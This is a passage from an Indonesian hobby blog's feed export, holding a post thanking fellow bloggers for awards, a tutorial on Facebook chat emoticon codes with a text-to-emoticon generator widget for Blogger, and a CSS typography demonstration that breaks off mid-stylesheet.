tag:blogger.com,1999:blog-65417016030009812622024-03-25T06:58:32.936-07:00FarixsantipsFarixsantips | More Tutorial Blogs and Other SharingFrzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.comBlogger187125tag:blogger.com,1999:blog-6541701603000981262.post-2649555787194365632012-03-22T07:27:00.001-07:002012-03-29T06:08:51.117-07:00Award Lalu<style>
body{background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD7X05x5jqlE3E3ystjnwRDdqXanVk8tTHjiUm-uO4i2O97tQKuwlc3WPJk6qjtG_UaRp2yiG-gyRh6F2Rfb3ULXMFJ7DnJBMtXe8PxXdfyqJ86DpK5Q-ykoan4bBsv_PPWubb9XbZZBg/s400/Vintage-Pattern_Black.gif);}
.the-content{color:white;text-shadow:0 0 2px #777;}
.the-content ol li{line-height:1.5em;color:#fff;}
.post-body img{border:none;box-shadow:none;background:none;}
.benda{text-shadow:none;background:#000;opacity:6;box-shadow: 0 0 3px #fff; color: black; padding: 10px 15px 10px 15px; transition: all 2s;-moz-transition: all 2s; -webkit-transition: all 2s; -o-transition: all 2s; height:0px;width:ancho;border-bottom:20px solid #000;overflow:hidden;}
.benda:hover{text-shadow: 0 0 2px #ccc;opacity:1;background: #fff url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhac5lAI2fxxnyS7SRQesO7v8zIzHSeQINE_vpMJvbngpt_NIlNfOTVNP9DKCz_5iZgju5GJt_lI02ku7PcgOb_4MBaEGE8wXyz460soxDzFYMYaQMUqwSIPNlXN-y76KgxXerhqii-DFA/s1600/Farixsantipsbackground.png); transition: all 2s;-moz-transition: all 2s; -webkit-transition: all 2s; -o-transition: all 2s;height:100px;}
</style><br />
<div class="benda">Ya tuhanku, sudah kurang lebih 4 bulan saya bersemayam dalam sekolahku. Akhir akhir ini saya di bebani oleh mata pelajaran yang menimpa sayau di bulan april ini, namun persiapan selalu ada. Dari bulan Desember kira kira saya memulai persiapan tersebut. <i>Try Out 1 & 2, Ujian Praktek, Ulangan Umum Semester Genap, Ujian Akhir Sekolah (UAS), dan Ujian Akhir Nasional (UAN)</i>. Bayangkan semua itu di jalani pada bulan Februari, Maret ini, dan nanti April. Disela sela kejenuhan saya kira hal yang paling tepat untuk posting blogger yang usang ini yang tak ku urus selama itu. Mohon untuk sobat lama, sobat baru, dan yang paling saya tak pernah lupakan <b>10 Blog Deal</b>.</div><br />
Banyak berita, banyak wacana, dan banyak hal yang saya lewatkan di blogger ini. Salah satunya adalah terlewatkan dari teman-teman yang saya tak pernah lupakan. Bicara soal teman, saya di berikan beberapa penghargaan dari teman-teman yang walaupun dalam 4 bulan ini saya tinggal :( Mohon di maafkan tindakanku ini ya (khususnya bagi para pemberi award).<br />
<ol><li><b>Cardiacku</b> (28 Desember 2011)<br />
Url : <i><a href="http://cardiacku.blogspot.com/2011/12/award-akhir-tahun.html">http://cardiacku.blogspot.com/2011/12/award-akhir-tahun.html</a> </i><br />
Terimakasih untuk sobat cardiacku yang sudah lamaaaaa sekali mencantumkan nama saya sebagai peraih award akhir tahun 2011 di blognya. Dan akhirnya di bulan Maret ini bisa juga menyampaikan rasa terimakasih yang sebesar besarnya :)<br />
<br />
<a href="http://4.bp.blogspot.com/-g6xfYJ7aQnA/TvaKkhr4gxI/AAAAAAAAAHc/wpvGxD9-xgk/s200/blog+makes+us+smile-Kemilau+Cahaya+Emas.jpg" imageanchor="1"><img border="0" height="200" src="http://4.bp.blogspot.com/-g6xfYJ7aQnA/TvaKkhr4gxI/AAAAAAAAAHc/wpvGxD9-xgk/s200/blog+makes+us+smile-Kemilau+Cahaya+Emas.jpg" width="148" /></a><a href="http://2.bp.blogspot.com/-CsAs3HCoRyI/TvaHpzaYO9I/AAAAAAAAAHE/XNs9OXzwkEQ/s1600/Awards+Sahabat+Blogger-Sehat+Kita+SEmua.png" imageanchor="1" style="float: left; margin-right: 1em;"><img border="0" height="200" src="http://2.bp.blogspot.com/-CsAs3HCoRyI/TvaHpzaYO9I/AAAAAAAAAHE/XNs9OXzwkEQ/s200/Awards+Sahabat+Blogger-Sehat+Kita+SEmua.png" width="148" /></a></li>
<li><b>Penghuni60</b> (2 Januari 2012)<br />
Url : <a href="http://penghuni60.blogspot.com/2012/01/2years-of-blogging-award-penghuni-60.html" style="font-style: italic;">http://penghuni60.blogspot.com/2012/01/2years-of-blogging-award-penghuni-60.html</a><br />
Terimakasih untuk sobat Penghuni60 yang memberikan awardnya dalam rangka 2 tahunan ngeblogging ya sobat. Mana nama saya paling pertama lagi, postingannya paling belakangan wkwk. Mohon di maklumi jika telat, kesibukan memaksaku untuk posting sekarang :) Maaf ya.</li>
<li><b>AreL</b> (18 Januari 2012)<br />
Url : <i><a href="http://www.arel.info/blogging/arels-first-award-special-thanks-to-gang-tutorial/">http://www.arel.info/blogging/arels-first-award-special-thanks-to-gang-tutorial/</a> </i>Thank you for providing your award, friends. I do not think that you will give me this award, once again I say many thanks :)</li>
<li><b>Indolaron</b> (19 Januari 2012)<br />
Url : <a href="http://indolaron.blogspot.com/2012/01/award-pertama-indolaron.html" style="font-style: italic;">http://indolaron.blogspot.com/2012/01/award-pertama-indolaron.html</a><br />
Sumpah saya merasa tidak menyangka kalau dia memberiku award. Terimakasih banyak ya sudah mau memberiku sepucuk award. Mohon dimaafkan saya berbuat kesalahan yang mungkin membuat hati admin gak enak. Mungkin karena kesalah pahaman saya yang terlalu menganggapnya berlebihan ya :( Mohon untuk di maafkan dan mulai dari nol lagi :) Terimakasih banyak dan maaf kalau postingnya telat sekali.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_S7alrozqyh3GmZzZwsXnzmBqtLMpo6hVarmooNBfjjI2szAFPSVhbrTSPn7KaGDk1ylJBcSKXYaCZrKFZ1KvNBEA6R6ae-jA5aRtUBghvZfjQgiyrPD0F1ebGcylamGmpsLmR7u9eoA4/s1600/2_Years_of_Blogging_Award_Penghuni_60.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_S7alrozqyh3GmZzZwsXnzmBqtLMpo6hVarmooNBfjjI2szAFPSVhbrTSPn7KaGDk1ylJBcSKXYaCZrKFZ1KvNBEA6R6ae-jA5aRtUBghvZfjQgiyrPD0F1ebGcylamGmpsLmR7u9eoA4/s200/2_Years_of_Blogging_Award_Penghuni_60.JPG" width="147" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Gambar Awardnya sama (Penghuni60, AreL, dan Indolaron)</td></tr>
</tbody></table></li>
<li><b>Ageboy</b> (4 Januari 2012)<br />
Url :<i> <a href="http://ageboy.blogspot.com/2012/01/award-of-seven-shadow-blog.html">http://ageboy.blogspot.com/2012/01/award-of-seven-shadow-blog.html</a></i><br />
Terimakasih untuk sahabat Ageboy atas pemberian awardnya. Award ini di berikan kepada saya katanya dalam rangka <i>The Best Friend of Blog</i>. Tak kusangka dia akan memberi saya sebuah award ini :D Aduh makasih banyak ya, maaf juga sudah 3 bulan tidak memposting award ini :(<br />
</li>
<li><b>Blognya Lemon Smile</b> (14 Januari 2012)<br />
Url : <a href="http://tugasnyamuknakal.blogspot.com/2012/01/first-award.html" style="font-style: italic;">http://tugasnyamuknakal.blogspot.com/2012/01/first-award.html</a><br />
Terimakasih atas awardnya bang Wayan hehehe. Gak disangka dapet award dari dia. Orang yang kukenal gara-gara script Javanya itu hehe (masih inget aja ya?) Haha.. Maaf banget ya tapi baru sempet ngeposting awardnya :( Tolong di maklumi ya.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://a2.sphotos.ak.fbcdn.net/hphotos-ak-snc7/375980_316800521676585_100000399191722_999945_41532966_n.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="200" src="http://a2.sphotos.ak.fbcdn.net/hphotos-ak-snc7/375980_316800521676585_100000399191722_999945_41532966_n.jpg" width="146" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Gambar Awardnya sama (Ageboy dan Blognya Lemon Smile</td></tr>
</tbody></table></li>
<li><b>Asoeransi</b> (21 Januari 2012)<br />
Url : <a href="http://asoeransi.blogspot.com/2012/01/info-asuransi-menerima-award.html" style="font-style: italic;">http://asoeransi.blogspot.com/2012/01/info-asuransi-menerima-award.html</a><br />
Terimakasih ya karena sudah memberiku sebongkah award ini dan menjadikan saya Partner di Info Asuransi itu. Tidak menyangka bisa jadi partner di sana hehehe. Tapi mohon maaf ya jika partnernya hanya saat waktu itu saja, coz saya waktu itu vakum untuk ujian saya :( Mohon maaf ya..<br />
<br />
<i><b><u>(Tidak ada Gambar...)</u></b></i></li>
<li><b>Bengkel Humor</b><br />
Url : <a href="http://bengkelhumor.blogspot.com/2012/03/fleanding-sites-choice-award.html" style="font-style: italic;">http://bengkelhumor.blogspot.com/2012/03/fleanding-sites-choice-award.html</a><br />
Terimakasih nih ya kepada adminnya karena udah memberikan saya award masalnya dalam rangka Fleanding Site's Choice katanya. Hehe saya masuk 300 besar blog yang dikenalnya, nomor 40 hehe. Alhamdulillah :)<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh83BRevFykiTS4bTekneGElrSZNaDCxo92wfgFgJ82pYeEHPUpVhb8U4xf5HN1ZKUK8FWUUfb3apPmASlrILUGeXqkFfts5vebVqZrNNU2l0IpeCeT1bW_lKs0K7ClWQS0sLdCGZdpGQ1m/s1600/fleanding+site%27s+choice+award.jpgg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="200" src=" https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh83BRevFykiTS4bTekneGElrSZNaDCxo92wfgFgJ82pYeEHPUpVhb8U4xf5HN1ZKUK8FWUUfb3apPmASlrILUGeXqkFfts5vebVqZrNNU2l0IpeCeT1bW_lKs0K7ClWQS0sLdCGZdpGQ1m/s1600/fleanding+site%27s+choice+award.jpg" width="146" /></a></li>
<li><b>Wisata Murah</b> (7 Januari 2012) Update..</li>
<li><b>Rohis Facebook</b> (8 Januari 2012) Update..</li>
<li><b>Earth-Inside</b> (4 Februari 2012) Update..</li>
</ol>Jujur dalam hati terdalam saya ada perasaan tak enak soal memposting akhir akhir ini. Apa lagi memposting postingan award ini, takut di omelin karena terlambat memposting. Ditambah untuk sobat <i>Wisata Murah</i>, <i>Rohis Facebook</i>, dan <i>Earth-Inside</i> yang tidak tahu link award itu (koneksi 1stmedia sekarang sedikit lelet dan kadang hang). Mohon maafkan saya ya. Saya seperti merasa mulai dari nol lagi deh.<br />
<br />
Sekian deh ya dari saya. Kurang lebihnya Mohon maaf.Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com171tag:blogger.com,1999:blog-6541701603000981262.post-68057787007522029482012-01-03T22:53:00.000-08:002012-01-05T01:52:05.556-08:00CODE Facebook Chat - Text Emo Generator<style type="text/css">
body{background:#e8eeff url(https://s-static.ak.facebook.com/rsrc.php/v1/yi/r/OBaVg52wtTZ.png)no-repeat;width:1200px;}
#post-area{margin:0 auto;width:1200px;border:none}
.post-body{background:url() repeat-y;width:1200px;}
.post-title{display:none}
#comments{float:left;background:url() repeat-y;width:1200px;}
#complete-content{width:1200px;margin:0 auto}
.the-content{font-family:Arial}
</style><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9kmk4RnbCmjkO4pq8Z8vl44rehVaR8IV-AFdFLOOiwHOcbB5ABBqxmYOvlDYYryGJKsoLU3XUosfgawSDZFbK-flkipZClBzF3w2Oie7ySvcyIlSScveQczJJKIaqB2MROBKNjVZL2MI/s1600/256.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9kmk4RnbCmjkO4pq8Z8vl44rehVaR8IV-AFdFLOOiwHOcbB5ABBqxmYOvlDYYryGJKsoLU3XUosfgawSDZFbK-flkipZClBzF3w2Oie7ySvcyIlSScveQczJJKIaqB2MROBKNjVZL2MI/s400/256.png" width="128" /></a></div>
Halo! Kembali lagi bersama saya di blog<a href="http://farixsantips.blogspot.com/" target="_blank"> ini</a> dengan tema pada kali ini adalah <a href="http://farixsantips.blogspot.com/search/label/Facebook%20Trik" target="_blank">Tutorial/Trick Facebook</a>. Setelah sekian lamanya tidak memposting, tangan saya menjadi gatal dan haus kata kata. Banyak diantara teman teman yang menanyakan "belum update?", ya itu di karenakan sibuk saat dunia offline berjalan. Contohnya saat ini masih liburan tetapi, Pekerjaan Rumah (PR) kini menumpuk! Untungnya masih banyak waktu tersisa dan masa sih ingin terbuang sia sia. Langsung saja kembali ke Topic<br />
<br />
Tahukah sobat <a href="http://facebook.com/">Facebook.com</a>? Yang gak tau keterlaluan hahaha. <strong>Facebook</strong> mempunya banyak sekali fitur fitur canggih, salah satunya adalah fitur <strong>chating</strong>. Bukan Facebook kalau gak ada <strong>chating</strong>. Chating identik dengan emoticon atau ungkapan/ekspresi wajah yang di tampilkan dalam bentuk gambar. Contoh seperti <strong>[:)],[:P],[^_^],[:D],[:(],[>.<]</strong> dan lain lain.<br />
<br />
Pada baru baru ini telah berdatangan fitur terbaru facebook yaitu membuat Emoticon dengan menggunakan kode-kode dan di kurung oleh [[ dan ]].<br />
<ol>
<li>Buka Facebook.com</li>
<li>Buka Kotak Chating</li>
<li>Tulis <b>[[code]]<i>[spasi]</i>[[code]]</b></li>
<li>Enter</li>
</ol>
Entah apa tujuan dari admin facebook membuat cara itu untuk membuat pengguna merasakan ekspresi (lho ini tujuannya :D ). Langsung lihat kode Emoticon di bawah ini :<br />
<br />
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-BlFmWBc4dpE/TwQKKXnePzI/AAAAAAAAB08/0EtdlThWVTM/s1600/EmoGambar.png" imageanchor="1" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" height="200" src="http://2.bp.blogspot.com/-BlFmWBc4dpE/TwQKKXnePzI/AAAAAAAAB08/0EtdlThWVTM/s200/EmoGambar.png" width="181" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><br />
Masih banyak emo yang masih belum di tampilkan</td></tr>
</tbody></table>
<div style="-moz-column-count: 2; -webkit-column-count: 2; -webkit-column-gap: 1em; float: left; height: 240px; margin-right: 20px; width: 50%;">
<span style="color: red;">[[wikipedia]]</span> - Wikipedia<br />
<span style="color: red;">[[youtube]]</span> - Youtube<br />
<span style="color: red;">[[wordpress]]</span> - Wordpress<br />
<span style="color: red;">[[google]]</span> - Google<br />
<span style="color: red;">[[guengakak]]</span> - Tertawa<br />
<span style="color: red;">[[250128751720149]]</span> - Domo Kun<br />
<span style="color: red;">[[155393057897143]]</span> - Doraemon<br />
<span style="color: red;">[[224502284290679]]</span> - Nobita<br />
<span style="color: red;">[[138529122927104]]</span> - Pedo Bear<br />
<span style="color: red;">[[249199828481201]]</span> - Konata Izumi<br />
<span style="color: red;">[[144685078974802]]</span> - Mojacko<br />
<span style="color: red;">[[196431117116365]]</span> - Shin chan<br />
<span style="color: red;">[[269153023141273]]</span> - Poring<br />
<span style="color: red;">[[332936966718584]] </span>- Hello Kitty<br />
<span style="color: red;">[[157680577671754]]</span> - Angry Bird<br />
<span style="color: red;">[[334954663181745]]</span> - Spongebob<br />
<span style="color: red;">[[326134990738733]]</span> - Pikachu<br />
<span style="color: red;">[[252497564817075]]</span> - Kerokeroppi<br />
<span style="color: red;">[[297354436976262]]</span> - Santa Claus<br />
<span style="color: red;">[[236147243124900]]</span> - Pokeball<br />
<span style="color: red;">[[223328504409723]]</span> - Gintoki Sakata<br />
dan masih banyak lagi</div>
<div style="background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiOcpayqBxRKKlxv0f5zeRscpcOEuK5XUaNBlcSa4u3XU0TklkLODTPatZMjffq8XsLnyke4nCjjqEpv2o2YRB_GcrX35nJpSwbIC7-BGyHVg92AJKi1R118UT5Q2-yb8OQz-qFYo6oos/s1600/exchange.png)no-repeat; float: right; height: 115px; margin-left: 0px; margin-top: 30px; width: 230px;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-ZizRQb-UJiY/TwQR2VYu_KI/AAAAAAAAB1I/CrcwBIJa3J0/s1600/FarixsanText.png" imageanchor="1" style="clear: left; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="200" src="http://2.bp.blogspot.com/-ZizRQb-UJiY/TwQR2VYu_KI/AAAAAAAAB1I/CrcwBIJa3J0/s200/FarixsanText.png" width="181" /></a></div>
Setelah sobat bertemu dengan code emoticon" itu selanjutnya sobat akan bertemu dengan code Emoticon Text atau text dengan style yang berbeda di chat. Contohnya bila sobat memperhatikan gambar disamping kiri ini. Sobat akan melihat bagaimana bisa tulisan chating bisa di ubah menjadi tulisan bergambar itu. Yang sebenarnya tulisan itu gabungan dari beberapa gambar dengan menggunakan code code facebook terbaru itu. Bisa sobat gunakan <b>Code Generate</b> ini :<br />
<script language="javascript" src="https://sites.google.com/site/farixsantips/scripts/color-block.js">
</script><style type="text/css">
.form {float:left;margin-right:10px;background:white; border-radius:5px; border:2px solid #de0101; box-shadow:0 1px 0 #ccc,0 2px 0 #c9c9c9,0 3px 0 #bbb,0 4px 0 #b9b9b9,0 5px 0 #aaa,0 6px 1px rgba(0,0,0,.1),0 0 5px rgba(0,0,0,.1),0 1px 3px rgba(0,0,0,.3),0 3px 5px rgba(0,0,0,.2),0 5px 10px rgba(0,0,0,.25); width:320px; padding:10px}
.input2 {padding:10px 10px; box-shadow:inset 1px 1px 0 #777; border-radius:5px; border:1px solid #fff}
.input2:focus {background:#ffffe0}
.type {width:200px}
.output {width:295px}
.button {color:#fff; padding:9px 18px; background:-moz-linear-gradient(top,#76c1e3 0%,#1e97e8 25%,#2b84f0); background:-webkit-gradient(linear,left top,left bottom,from(#76c1e3),color-stop(0.25,#1e97e8),to(#2b84f0)); border-radius:5px; border:1px solid #b85f00; box-shadow:0px 1px 3px rgba(000,000,000,0.5),inset 0px -1px 0px rgba(255,255,255,0.7); text-shadow:0px -1px 1px rgba(000,000,000,0.2),0px 1px 0px rgba(255,255,255,0.3)}
</style><br />
<form class="form" name="code">
<input class="input2 type" name="type" size="63" type="text" value="Farixsantips" /><input class="button" onclick="change();" type="button" value="Change!" /><br />
<input class="input2 output" name="output" onclick="select();" size="63" type="text" /></form>
<div style="float: left; height: 130px; margin-left: 10px; width: 615px;">
<ul>
<li>Ketik kata kata yang ingin di ubah menjadi gambar</li>
<li>Copas Source Code</li>
<li>Letakan di chating Facebook.com</li>
</ul>
</div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<span style="font-family: 'Comic Sans mS'; font-size: 30px; text-shadow: rgb(238, 238, 238) 1px 0px 0px, rgb(255, 255, 255) -1px 0px 0px, rgb(238, 238, 238) 0px 1px 0px, rgb(238, 238, 238) 0px -1px 0px, rgb(0, 0, 0) 1px 1px 2px;">Cara Membuatnya</span><br />
<ol>
<li>Pertama tama buka <a href="http://blogger.com/">blogger.com</a></li>
<li><b>Buka Layout </b>→<b> Add a Gadget</b> →<b> Pilih Javascript/HTML</b></li>
<li>Copas code berikut dan letakan di kotak kosong tadi :</li>
<blockquote>
<style type="text/css"><br />
.form {background:white; border-radius:5px; border:2px solid #de0101; box-shadow:0 1px 0 #ccc,0 2px 0 #c9c9c9,0 3px 0 #bbb,0 4px 0 #b9b9b9,0 5px 0 #aaa,0 6px 1px rgba(0,0,0,.1),0 0 5px rgba(0,0,0,.1),0 1px 3px rgba(0,0,0,.3),0 3px 5px rgba(0,0,0,.2),0 5px 10px rgba(0,0,0,.25); width:320px; padding:10px}<br />
.input {padding:10px 10px; box-shadow:inset 1px 1px 0 #777; border-radius:5px; border:1px solid #fff}<br />
.input:focus {background:#ffffe0}<br />
.type {width:200px}<br />
.output {width:295px}<br />
.button {color:#fff; padding:9px 18px; background:-moz-linear-gradient(top,#76c1e3 0%,#1e97e8 25%,#2b84f0); background:-webkit-gradient(linear,left top,left bottom,from(#76c1e3),color-stop(0.25,#1e97e8),to(#2b84f0)); border-radius:5px; border:1px solid #b85f00; box-shadow:0px 1px 3px rgba(000,000,000,0.5),inset 0px -1px 0px rgba(255,255,255,0.7); text-shadow:0px -1px 1px rgba(000,000,000,0.2),0px 1px 0px rgba(255,255,255,0.3)}<br />
</style><br />
<br />
<form class="form" name="code"><br />
<input class="input type" name="type" size="63" type="text" value="Farixsantips" /><input class="button" onclick="change();" type="button" value="Change!" /><br />
<input class="input output" name="output" onclick="select();" size="63" type="text" /></form></blockquote>
<li>Tambahkan lagi kode Javascript berikut ini di bawahnya kode sebelumnya, <b><i>PILIH SALAH SATU</i></b> dan sesuaikan.</li>
<blockquote>
<ul>
<li><script src="https://sites.google.com/site/farixsantips/scripts/<span style="color: red;">color-rainbow.js</span>" language="javascript"></script></li>
<li><script src="https://sites.google.com/site/farixsantips/scripts/<span style="color: red;">color-green.js</span>" language="javascript"></script></li>
<li><script src="https://sites.google.com/site/farixsantips/scripts/<span style="color: red;">color-block.js</span>" language="javascript"></script></li>
</ul>
</blockquote>
<li>Kemudian Save!</li>
</ol>
Lihat hasilnya, semoga memuaskan ya sob hasilnya :)Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com293tag:blogger.com,1999:blog-6541701603000981262.post-35918319180070656702012-01-01T18:33:00.000-08:002012-01-03T18:38:45.704-08:00Typography<style>
.scroll-comment {background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXFImdlJ16r-2Xku-e7No72b1yOOvM5xcvYrgbYRzkfCPnekjM6gPzrphsj6v_XaidYl1ZWm4XejZQVzUamtLkQcmDT2FQIU_e0-pYGlkOEAmiCTYDNTHGGSqUKNUwo6jaRC4HAlBqpRc/s400/95.gif)}
body{background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU3TRyCV2K-kuIVCqPfCWhyphenhyphenQutYNrOjghIhHgE1ZxQADmGizj28e4hU9d539DFAB53z5tlgG9C0qEd93GRXI0ctRDLDAbk0flQoOFTq4L8BCSz2FBtH6m7omz40yUzzac25QMsQTWIMx0/s400/170.gif)}
#wrapper{margin:0 auto;border:5px solid #fff;background:white;box-shadow: 0 1px 0 #ccc, 0 2px 0 #c9c9c9, 0 3px 0 #bbb, 0 4px 0 #b9b9b9, 0 5px 0 #aaa, 0 6px 1px rgba(0,0,0,.1), 0 0 5px rgba(0,0,0,.1), 0 1px 3px rgba(0,0,0,.3), 0 3px 5px rgba(0,0,0,.2), 0 5px 10px rgba(0,0,0,.25);width:880px; height:200px;margin-bottom:20px;}
.t{width:300px; height:200px; float:left; margin-right:10px}
.t-text1, .f-text1{background:#000; width:100%; height:30px}
.t-text2{background:#000; width:30px; height:140px; float:left; margin-right:10px; margin-left:20px}
.t-text3{background:#000; width:80px; height:30px; bottom:0; margin-top:140px}
.y1{width:100px; height:159px; float:left; margin-right:10px; margin-top:10px}
.y1-text1{background:#000; width:30px; height:30px}
.y1-text2{background:#000; width:90px; height:42px; transform:rotate(45deg); -webkit-transform:rotate(45deg); -moz-transform:rotate(45deg); margin-top:-4px; margin-left:2px}
.y1-text3{background:#000; width:40px; height:130px; float:right; margin-left:5px; margin-top:-69px}
.y1-text4{background:#000; width:70px; height:30px; float:right}
.y2{width:100px; height:200px; float:left}
.y2-text1{background:#000; width:30px; height:30px}
.y2-text2{background:#000; width:90px; height:42px; transform:rotate(45deg); -webkit-transform:rotate(45deg); -moz-transform:rotate(45deg); margin-top:-4px; margin-left:2px}
.y2-text3{background:#000; width:40px; height:170px; float:right; margin-left:5px; margin-top:-69px}
.y2-text4{background:#000; width:100px; height:30px; float:right}
.p, .pp{width:124px; height:159px; float:left; margin-top:10px}
.p1, .pp1{background:#000; width:100%; height:62%; position:relative; border-top-right-radius:10px}
.p1:before, .pp1:before{content:""; position:absolute; background:#fff; width:50px; height:30px; right:0; bottom:0; border-top-left-radius:10px}
.p1:after, .pp1:after{content:""; position:absolute; background:#fff; width:60px; height:5px; margin-top:30px; margin-left:30px}
.p2{background:#000; width:30px; height:30px; float:left; margin-right:5px}
.pp2{background:#000; width:30px; height:30px}
.p3{background:#000; width:60px; height:30px; float:left; margin-right:5px}
.pp3{background:#000; width:75px; height:30px}
.o1{background:#000; width:50px; height:50px; float:right; margin-top:10px; position:relative}
.o1:before{content:""; position:absolute; background:#fff; width:10px; height:10px; margin-top:25px; margin-left:25px}
.f{width:470px; height:200px; float:left}
.a{width:118px; height:159px; float:left; margin-top:10px; margin-left:144px; margin-right:10px}
.a-text1{background:#000; width:100%; height:50%}
.a-text1:before{content:""; position:absolute; background:#fff; width:50px; height:60px; margin-top:30px; margin-left:30px}
.a-text1:after{content:""; position:absolute; background:#fff; width:30px; height:40px; margin-top:50px}
.a-text2{background:#000; width:90%; height:50%; float:right; margin-left:5px}
.a-text2:before{content:""; position:absolute; background:#fff; width:20px; height:30px; margin-top:30px; margin-left:30px}
.g{width:140px; height:159px; margin-top:10px}
.g-text1{background:#000; width:95px; height:70px; position:relative}
.g-text1:before{content:""; position:absolute; background:#fff; width:40px; height:20px; right:0; bottom:0}
.g-text2{background:#000; width:100%; height:89px; position:relative}
.g-text2:before{content:""; position:absolute; background:#fff; width:40px; height:60px; left:55px}
.g-text2:after{content:""; position:absolute; background:#fff; width:30px; height:40px; bottom:29px; left:80px}
.r{background:#de0101; position:relative; width:35px; height:60px; float:right; margin-top:-158px; margin-right:3px}
.r:before{content:""; position:absolute; background:#fff; width:2px; height:20px; margin-left:17px; bottom:0}
.r:after{content:""; position:absolute; background:#fff; width:18px; height:2px; right:0; top:25px}
.h{width:100px; height:159px; margin-top:10px; margin-left:355px; position:absolute}
.h-text1{background:#000; width:50%; height:50%; float:right; border-top-left-radius:5px}
.h-text2{background:#000; width:100%; height:50%; float:right; border-top-left-radius:5px}
.h-text2:before{content:""; position:absolute; background:#fff; width:40px; height:50px; bottom:0; left:10px}
</style><br />
<div id="wrapper">
<div class="t">
<div class="t-text1">
</div>
<div class="t-text2">
</div>
<div class="y1">
<div class="y1-text1">
</div>
<div class="y1-text2">
</div>
<div class="y1-text3">
</div>
<div class="y1-text4">
</div>
</div>
<div class="p">
<div class="p1">
</div>
<div class="p2">
</div>
<div class="o1">
</div>
<div class="p3">
</div>
</div>
<div class="t-text3">
</div>
</div>
<div class="f">
<div class="f-text1">
</div>
<div class="f-text2">
</div>
<div class="f-text3">
</div>
<div class="a">
<div class="a-text1">
</div>
<div class="a-text2">
</div>
</div>
<div class="pp">
<div class="pp1">
</div>
<div class="pp2">
</div>
<div class="pp3">
</div>
</div>
<div class="h">
<div class="h-text1">
</div>
<div class="h-text2">
</div>
</div>
<div class="g">
<div class="g-text1">
</div>
<div class="g-text2">
</div>
<div class="r">
</div>
</div>
</div>
<div class="y2">
<div class="y2-text1">
</div>
<div class="y2-text2">
</div>
<div class="y2-text3">
</div>
<div class="y2-text4">
</div>
</div>
</div>
<div style="background: #de0101; border: 2px dashed #fff; color: white; padding: 10px;">
Typography adalah suatu konsep tulisan bergaya bertujuan untuk memberi lebih efek dramatis dalam suatu tulisan, halah hehe. Typography ini saya buat khusus dari <b>CSS</b>, mohon maaf jika masih ada kekeliruan disini. Semoga bisa menghibur sobat dikala membosankan.<br />
<div style="background: #fff; border: 1px solid #de0101; box-shadow: inset 1px 1px 0px #000; color: black; height: 20px; overflow: auto; width: ancho;">
<style>#wrapper{width:880px;height:200px}.t{width:300px;height:200px;float:left;margin-right:10px}.t-text1,.f-text1{background:#000;width:100%;height:30px}.t-text2{background:#000;width:30px;height:140px;float:left;margin-right:10px;margin-left:20px}.t-text3{background:#000;width:80px;height:30px;bottom:0;margin-top:140px}.y1{width:100px;height:159px;float:left;margin-right:10px;margin-top:10px}.y1-text1{background:#000;width:30px;height:30px}.y1-text2{background:#000;width:90px;height:42px;transform:rotate(45deg);-webkit-transform:rotate(45deg);-moz-transform:rotate(45deg);margin-top:-4px;margin-left:2px}.y1-text3{background:#000;width:40px;height:130px;float:right;margin-left:5px;margin-top:-69px}.y1-text4{background:#000;width:70px;height:30px;float:right}.y2{width:100px;height:200px;float:left}.y2-text1{background:#000;width:30px;height:30px}.y2-text2{background:#000;width:90px;height:42px;transform:rotate(45deg);-webkit-transform:rotate(45deg);-moz-transform:rotate(45deg);margin-top:-4px;margin-left:2px}.y2-text3{background:#000;width:40px;height:170px;float:right;margin-left:5px;margin-top:-69px}.y2-text4{background:#000;width:100px;height:30px;float:right}.p,.pp{width:124px;height:159px;float:left;margin-top:10px}.p1,.pp1{background:#000;width:100%;height:62%;position:relative;border-top-right-radius:10px}.p1:before,.pp1:before{content:"";position:absolute;background:#fff;width:50px;height:30px;right:0;bottom:0;border-top-left-radius:10px}.p1:after,.pp1:after{content:"";position:absolute;background:#fff;width:60px;height:5px;margin-top:30px;margin-left:30px}.p2{background:#000;width:30px;height:30px;float:left;margin-right:5px}.pp2{background:#000;width:30px;height:30px}.p3{background:#000;width:60px;height:30px;float:left;margin-right:5px}.pp3{background:#000;width:60px;height:30px}.o1{background:#000;width:50px;height:50px;float:right;margin-top:10px;position:relati